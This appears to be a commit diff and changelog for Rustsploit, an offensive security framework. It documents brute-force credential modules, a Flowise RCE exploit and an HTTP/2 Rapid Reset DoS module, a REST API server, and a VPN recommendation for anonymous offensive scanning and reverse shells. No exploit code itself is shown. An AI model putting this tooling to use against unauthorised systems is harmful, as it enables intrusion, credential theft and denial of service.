"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Input Validation & Security
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
- **Target Validation:** All targets are validated for length, control characters, and path traversal
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
- Automatic cleanup of expired blocks and entries older than 1 hour
#### Hardening Mode
When `--harden` is enabled:
@@ -302,6 +499,7 @@ When `--harden` is enabled:
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
- Automatic pruning when tracker exceeds 100,000 entries
#### Logging
All API activity is logged to:
@@ -314,10 +512,13 @@ Log entries include:
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
**Note:** API responses now include `request_id`, `timestamp`, and `duration_ms` for better observability.
### Example API Workflow
```bash
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
@@ -342,20 +543,18 @@ curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
---
## Proxy Workflow
## Private Internet Recommendations
Rustsploit treats proxy lists as first-class citizens:
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
- **No Registration:** Account numbers are generated without email or personal data.
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
---
+43 -132
View File
@@ -1,18 +1,12 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::fs::File;
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
use walkdir::WalkDir;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
@@ -34,21 +28,13 @@ fn main() {
}
}
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let root_path = Path::new(root);
@@ -56,63 +42,42 @@ fn generate_dispatch(
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
let mappings = find_modules(root_path)?;
// Sort for deterministic output
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
sorted_mappings.sort_by(|a, b| a.0.cmp(&b.0));
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
let mut file = File::create(&dest_path)?;
writeln!(file, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
// Generate AVAILABLE_MODULES constant for runtime discovery
writeln!(file, "/// List of all available modules in this category.")?;
writeln!(file, "pub const AVAILABLE_MODULES: &[&str] = &[")?;
for (key, _) in &sorted_mappings {
writeln!(file, " \"{}\",", key)?;
}
writeln!(file, "];\n")?;
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
writeln!(file, "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
writeln!(file, " match module_name {{")?;
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
)?;
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
k = key, m = mod_code_path, p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
short = short_key, full = key, m = mod_code_path, p = mod_prefix
)?;
}
}
@@ -122,92 +87,38 @@ fn generate_dispatch(
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
/// Finds all valid modules recursively using WalkDir
fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::error::Error>> {
let mut mappings = HashSet::new();
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")?;
if !dir.is_dir() {
return Ok(());
}
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
for entry in entries {
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
let file_name = entry.file_name();
if path.is_file() && path.extension().map_or(false, |e| e == "rs") {
let file_stem = path.file_stem().and_then(|s| s.to_str()).unwrap_or("");
if file_stem == "mod" || file_stem == "lib" { continue; }
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
// Calculate module path relative to root
// e.g. path = src/modules/exploits/linux/foo.rs, root = src/modules/exploits
// relative = linux/foo.rs
if let Ok(relative) = path.strip_prefix(root) {
let rel_str = relative.with_extension("").to_string_lossy().replace("\\", "/");
// Read content to check signature
let mut content = String::new();
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
if sig_re.is_match(&content) {
mappings.insert((rel_str.clone(), rel_str));
}
}
}
}
}
Ok(())
Ok(mappings)
}
-457
View File
@@ -1,457 +0,0 @@
Hardened rtsp_bruteforce_advanced by validating path, username, and password wordlists before spinning up tasks, and by falling back to a safe root path when a path list is empty to avoid runtime panics.
Added identical early-exit checks and trimming for the SSH brute-force runner so it fails fast when wordlists are empty instead of silently doing nothing.
Brought the FTP brute-force helper in line with the others by trimming entries, rejecting empty wordlists, and ensuring helper utilities only return meaningful credentials.
Proxy Improvements
Refined proxy loading to validate schemes/hosts/ports, capture parse errors, and expose optional connectivity testing via utils::load_proxies_from_file and utils::test_proxies, keeping only working entries when requested.
Enhanced shell commands: proxy_load now prompts for a path when omitted, reports skipped entries, offers a recommended “test proxies” prompt, and added a dedicated proxy_test command plus reusable prompt helpers.
Implemented interactive proxy-test workflow that gathers URL/timeouts/concurrency, filters failing proxies, and auto-disables proxy mode when none survive.
Shell UX Refresh
Reworked command parsing to support ergonomic aliases (help/h/?, modules/ls/m, find/f1, proxy_load/pl, etc.) and keep everything case-insensitive and whitespace tolerant.
Added a richer, colorized help palette that lists shortcuts and usage tips so “f1 ssh” style workflows are obvious.
Introduced helpers (split_command, resolve_command) to drive the new UX without changing existing behavior, plus guarded prompt utilities already in place.
README Refresh
Rebuilt the README into a professional GitHub-ready document with a TOC, feature highlights, module catalog summary, quick start commands, shell walkthrough (including the new shortcuts), CLI usage, proxy workflow, module discovery flow, and contributing/credits notes.
README Suite Updated
README.md already reflects the full feature set; no further changes needed.
docs/readme.md rewritten into a comprehensive developer guide covering architecture, module discovery, shell internals, proxy system, authoring practices, and roadmap items.
lists/readme.md expanded to document shipped wordlists, usage guidelines, and contribution notes so operators know how data files tie into modules.
Pingsweep.rs
improved and reworked
Added an API launch mode to RustSploit with the requested features.
Features implemented
API launch mode: --api flag to start the API server
API key authentication: --api-key flag (required when using --api)
Dynamic API key rotation: manual via /api/rotate-key endpoint and automatic when hardening triggers
Hardening mode: --harden flag enables IP-based protection
Auto-rotation: when unique IPs exceed the limit (default: 10), the API key auto-rotates
Notifications: alerts in terminal and log file (rustsploit_api.log in the same directory)
Interface selection: --interface flag (defaults to 0.0.0.0), supports IP/interface or full address with port
API endpoints
GET /health - Health check (no auth required)
GET /api/modules - List all available modules
POST /api/run - Run a module on a target
GET /api/status - Get API server status
POST /api/rotate-key - Manually rotate the API key
Usage examples
# Basic API server on 0.0.0.0:8080./rustsploit --api --api-key my-secret-key# With hardening enabled (auto-rotate on >10 unique IPs)./rustsploit --api --api-key my-secret-key --harden# Custom interface and IP limit./rustsploit --api --api-key my-secret-key --harden --interface 127.0.0.1 --ip-limit 5# Custom port./rustsploit --api --api-key my-secret-key --interface 0.0.0.0:9000
Security features
API key authentication on all protected endpoints
IP tracking and monitoring
Automatic key rotation when suspicious activity is detected
Logging to both terminal and file for audit trails
IP limit enforcement with configurable thresholds
All IpTracker fields are used:
ip: Used in logging, status endpoint, and the new /api/ips endpoint
first_seen: Used in logging to show when IP was first detected, and in both endpoints
last_seen: Used in status and /api/ips endpoints
request_count: Used in logging and both endpoints
New endpoint added: /api/ips - Returns all tracked IP addresses with full details including all fields
Enhanced get_status endpoint: Now includes detailed IP tracking information with all fields from each IpTracker
Enhanced track_ip method: Now logs detailed information using all fields, including duration calculations
Added serde feature to chrono: Enables DateTime<Utc> serialization
All routes properly wired: The new /api/ips endpoint is added to the protected routes
The code should compile without any dead code warnings. All fields are actively used in:
Logging operations
API responses
Status reporting
IP tracking calculations
Added authorization rate limiting with the following features:
Rate limiting logic:
Tracks failed authentication attempts per IP
Blocks IPs for 30 seconds after 3 failed attempts
Automatically resets the counter after the block period expires
Resets the counter on successful authentication
New AuthFailureTracker struct:
ip: IP address being tracked
failed_attempts: Number of failed attempts
first_failure: Timestamp of first failure
blocked_until: Timestamp when block expires (if blocked)
Enhanced auth middleware:
Checks rate limit before processing authentication
Records failures when invalid keys are provided
Resets counter on successful authentication
Returns 429 Too Many Requests when blocked
Logging:
Logs all rate limit events to terminal and log file
Shows remaining block time
Tracks duration since first failure
New API endpoint:
GET /api/auth-failures - Returns all IPs with authentication failures and their status
Enhanced existing endpoints:
/api/ips now includes auth failure information for each IP
Updated Files
1. README.md
Added API Server Mode to the table of contents
Added REST API Server to highlights
Added an API Server Mode section with:
Starting the API server (cargo commands)
API flags table
All endpoints with curl examples
Security features (rate limiting, hardening, logging)
Example workflow
2. docs/readme.md (Developer Guide)
Added API Server Architecture to the table of contents
Updated code layout to include api.rs
Added an API Server Architecture section with:
Architecture overview
State management details
Authentication middleware explanation
Rate limiting and hardening mode details
Key components with code examples
API endpoints list
Logging information
CLI usage examples
Documentation Highlights
The docs now include:
Cargo commands for starting the API server
All available flags (--api, --api-key, --harden, --interface, --ip-limit)
Complete endpoint documentation with curl examples
Security features explanation (rate limiting, hardening, logging)
Architecture details for developers
Example workflows
Improving build.rs with better error handling, short name support, sorting, and other enhancements:
build.rs
Removing the unused import:
build.rs
Improvements
Error handling
Replaced .unwrap() with Result types
Clear error messages with context
Validates directory existence before processing
Short name support
Generates match arms for both short names (e.g., port_scanner) and full paths (e.g., scanners/port_scanner)
Matches the pattern used in the generated dispatcher files
Deterministic output
Sorts mappings and directory entries for consistent builds
Easier to review generated code in version control
Deduplication
Uses HashSet to avoid duplicate module registrations
Documentation
Added doc comments explaining the script's purpose and behavior
Regex
More flexible pattern that handles different parameter names (e.g., target, _target)
Code organization
Uses a vector of tuples to iterate over categories, reducing duplication
More maintainable structure
Verbose mode
Optional verbose warnings via RUSTSPLOIT_VERBOSE_BUILD environment variable
Reduces noise during normal builds
Better path handling
More robust path operations with proper error handling
Handles edge cases better
Output quality
Adds header comments to generated files
Includes documentation in generated code
Better formatted output
The build script is now more robust, maintainable, and feature-complete. It should handle edge cases better and provide clearer feedback during the build process.
ping_sweep.rs improvements
Progress reporting: real-time progress with percentage, hosts up count, and scan rate
Parallel TCP probing: ports are probed in parallel for better performance
Better ICMP detection: detects and uses the correct ping command (ping vs ping6, handles IPv6 with -6 flag)
Error handling: clearer error messages when ping commands are missing
Progress cleanup: clears progress line at completion for cleaner output
ssdp_msearch.rs improvements
Multiple search targets: supports upnp:rootdevice, ssdp:all, and custom ST values
Configurable timeout: user can set timeout (default 3 seconds)
Retry logic: configurable retries (default 1, max 10) with delays between attempts
Verbose mode: optional verbose output showing requests and detailed errors
Enhanced response parsing: extracts additional SSDP headers (ST, NT, Cache-Control, EXT)
Better error handling: proper error context and messages throughout
Larger buffer: increased from 2048 to 4096 bytes for larger SSDP responses
User-Agent header: adds RustSploit user-agent to requests
Better output formatting: improved response display with additional header information
Both modules now have:
Better error handling
More features and configurability
Improved performance
Better user experience with progress indicators and verbose modes
More robust cross-platform support
Created Files:
src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs - Main exploit module
src/modules/exploits/flowise/mod.rs - Module registration file
Updated src/modules/exploits/mod.rs - Added flowise module
Features:
Banner display - ASCII art banner matching the original Python version
Interactive prompts - Prompts for email, password, and command (like other modules)
Authentication - Login functionality with proper headers
RCE execution - Executes commands via the customMCP endpoint vulnerability
Error handling - Proper error handling with colored output
Cookie support - Uses reqwest's cookie store to maintain session
401 retry logic - Automatically retries with internal header if needed
Framework Integration:
The module is automatically detected by the framework's build script (build.rs) because it:
Exports pub async fn run(target: &str) -> Result<()>
Is located in src/modules/exploits/flowise/
Is registered in the mod.rs files
The module will be available as:
flowise/cve_2025_59528_flowise_rce (full path)
cve_2025_59528_flowise_rce (short name)
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator
Flowise RCE Module (CVE-2025-59528)
Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs
Features:
Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic
Framework Integration:
Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs
Features:
Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output
Framework Integration:
Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset
Dependencies Added:
h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types
Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>
Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages
Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.
Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
#### api mode and bug fixes and new modules etc Latest end
Improved the telnet bruteforce module with safer inputs and sturdier execution:
Added guarded prompts for port, thread count, yes/no answers, and wordlist paths (loops until valid input, checks file existence). Blank or invalid inputs now fall back to sensible defaults or re-prompt instead of panicking.
Wordlists are trimmed and filtered, with explicit errors when the files are empty—preventing silent no-op bruteforcing.
Swapped the shared stop flag to an AtomicBool so workers react immediately when a credential is found while stop_on_success is enabled.
Counted queued combinations up front and log the total attempts for visibility.
Added a powerful raw brute-force option to the Telnet module:
Prompts now support programmatic password generation: answer “yes” to “Enable raw brute-force password generation?” to supply a character set (default a-zA-Z0-9) and a maximum length (bounded to 16).
Wordlists became optional when raw mode is on (leave the password wordlist blank to skip it); the module still accepts wordlists and can combine them with raw guesses.
Queue building now streams through a background generator thread that respects the shared stop_on_success flag (AtomicBool) and counts attempts via an AtomicUsize.
Improved input validation for ports, thread counts, yes/no answers, and file paths; empty lists now raise clear errors.
Logged attempt counts and status messages highlight usernames/passwords loaded and total credentials queued.
Credential Modules
Hardened the SSH brute-force runner with validated host normalization, atomic stop control, and a bounded async work queue so we no longer pile up tasks or contend on a mutex; workers now exit immediately once a hit is found while still honoring combo mode and verbose logging.
FTP Bruteforce Fixes
Swapped the shared stop flag to an Arc<AtomicBool> and tightened the worker loops so we stop queuing attempts immediately after a hit while still letting outstanding tasks exit cleanly under the semaphore cap.
Simplified throttling: we dropped the expensive system-polling loop and now rely on the semaphore for connection pressure, plus clearer panic logging in the join loop.
Extended try_ftp_login with a verbose toggle so noisy connection failures only print when requested, while still surfacing TLS fallbacks or critical errors.
Replaced the brute-force loop with a semaphore-guarded task queue so concurrency stays bounded, tasks bail fast once a hit is found, and DNS results are resolved once and reused across attempts.
Added shared header storage plus richer error messages that identify the target when RTSP replies are unexpected or connections fail.
Advanced headers are now shared via Arc, and the stop flag moved to AtomicBool so threads dont block on a mutex when cancelling runs.
RTSP Target Support Updates
Added centralized target normalization so the module now accepts domains, IPv4, IPv6 (with or without brackets), optional schemes, and inline RTSP paths; inferred paths are queued first in the brute-force list.
Introduced normalize_target_input to standardize host/port handling and trim any implicit path/query fragments before resolution.
No automated tests were run; consider a quick RTSP smoke test against known IPv4/IPv6 endpoints to confirm resolution and path detection behave as expected.
Introduced shared prompt utilities for ports, thread counts, yes/no answers, and wordlists so SMTP input handling now mirrors the other modules and gives consistent feedback on bad values.
Reworked the SMTP brute-force module to match our richer prompt UX and concurrency story: inputs are validated, wordlists must exist, and worker threads respect an AtomicBool stop flag while reporting loaded counts and draining the queue on success.
Added reusable helpers for SSH input validation—targets are normalized through DNS-safe bracket handling and wordlists must exist before continuing—so mis-typed hosts or files fail fast with actionable feedback.
Hardened the REPL inputs: we now cap command length, sanitize module paths, and refuse targets with whitespace/control chars so only vetted values reach the module runner and env vars.
Locked down proxy usage by deduplicating/truncating large lists before activation, making it harder to feed an unbounded or repeated proxy set into env vars.
Added explicit sanitizers for module paths/targets to block traversal attempts and exotic characters before they ever touch utils::module_exists or shared state.
Docker Setup Utility
Added scripts/setup_docker.py, a standalone interactive helper that:
Detects repo root, validates Docker/Docker Compose availability, and guides users through binding address selection (loopback, 0.0.0.0, detected LAN IP, or custom).
Prompts for API key (custom or securely generated), optional hardening toggle, and IP-limit.
Generates a multi-stage Dockerfile (docker/Dockerfile.api) matching the requested build/serve stages, a hardened entrypoint (docker/entrypoint.sh), a project-specific compose file (docker-compose.rustsploit.yml), and an environment file (.env.rustsploit-docker).
Optionally runs docker compose up -d --build to bring the API online with the chosen configuration.
Usage
From the repo root, run python3 scripts/setup_docker.py.
Follow the prompts to select interface, API key, and hardening settings.
Allow the script to generate files and (optionally) launch the Docker stack.
If you skip the final step, start the stack later with:
docker compose -f docker-compose.rustsploit.yml up -d --build
All new files are created only after confirmation when existing content is detected, preventing accidental overwrites.
Rebuilt scripts/setup_docker.py into a safer CLI/interactive hybrid:
Validates repo root, docker/dockercompose availability, and enforces printable API keys with optional random generation.
Adds flags (--bind, --port, --api-key, --generate-key, --enable-hardening, --disable-hardening, --ip-limit, --compose-cmd, --skip-up, --force, --non-interactive) so the tool can be scripted or used interactively.
Normalizes host/port selection (loopback, all interfaces, detected LAN, or custom) and applies strict parsing for non-interactive use.
Generates Dockerfile, entrypoint, Compose file, and env file with restricted permissions (.env written 0600), docker security options (no-new-privileges, tmpfs /tmp), and port bindings derived from user choices.
Supports BuildKit-enabled docker compose up -d --build, or skips launch when --skip-up is set.
Reworked run to drive a multi-target workflow: it now gathers sanitized targets from CLI, interactive prompts, or files, applies per-target ports (including ip:port forms), and iterates through them while reusing a single DNS query configuration.
Added robust parsing, validation, and de-duplication helpers for targets, with stop handling, file support, and strict host/port sanitization so mixed IPs/domains and custom ports are accepted safely.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+266 -36
View File
@@ -1,6 +1,6 @@
# 🛠️ Rustsploit Developer Guide
# Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, and authoring guidelines for exploits, scanners, and credential modules.
---
@@ -10,14 +10,15 @@
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Authoring Modules](#authoring-modules)
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
10. [Utilities & Helpers](#utilities--helpers)
11. [Testing & QA](#testing--qa)
12. [Roadmap & Ideas](#roadmap--ideas)
7. [Security & Input Validation](#security--input-validation)
8. [Authoring Modules](#authoring-modules)
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
11. [Utilities & Helpers](#utilities--helpers)
12. [Testing & QA](#testing--qa)
13. [Roadmap & Ideas](#roadmap--ideas)
---
@@ -28,7 +29,7 @@ Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
@@ -41,9 +42,11 @@ rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
│ ├── api.rs # REST API server with auth, rate limiting, and security
│ ├── config.rs # Global configuration with target validation
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
@@ -56,13 +59,14 @@ rustsploit/
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
│ └── utils.rs # Shared helpers (module lookup, validation)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
── rtsphead.txt
── rtsphead.txt
│ └── telnet-default/ # Default telnet credentials
└── README.md # Product overview
```
@@ -86,36 +90,34 @@ Because the dispatcher is generated at build time, there is no manual registry d
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Context:** `ShellContext` stores `current_module`, `current_target`.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
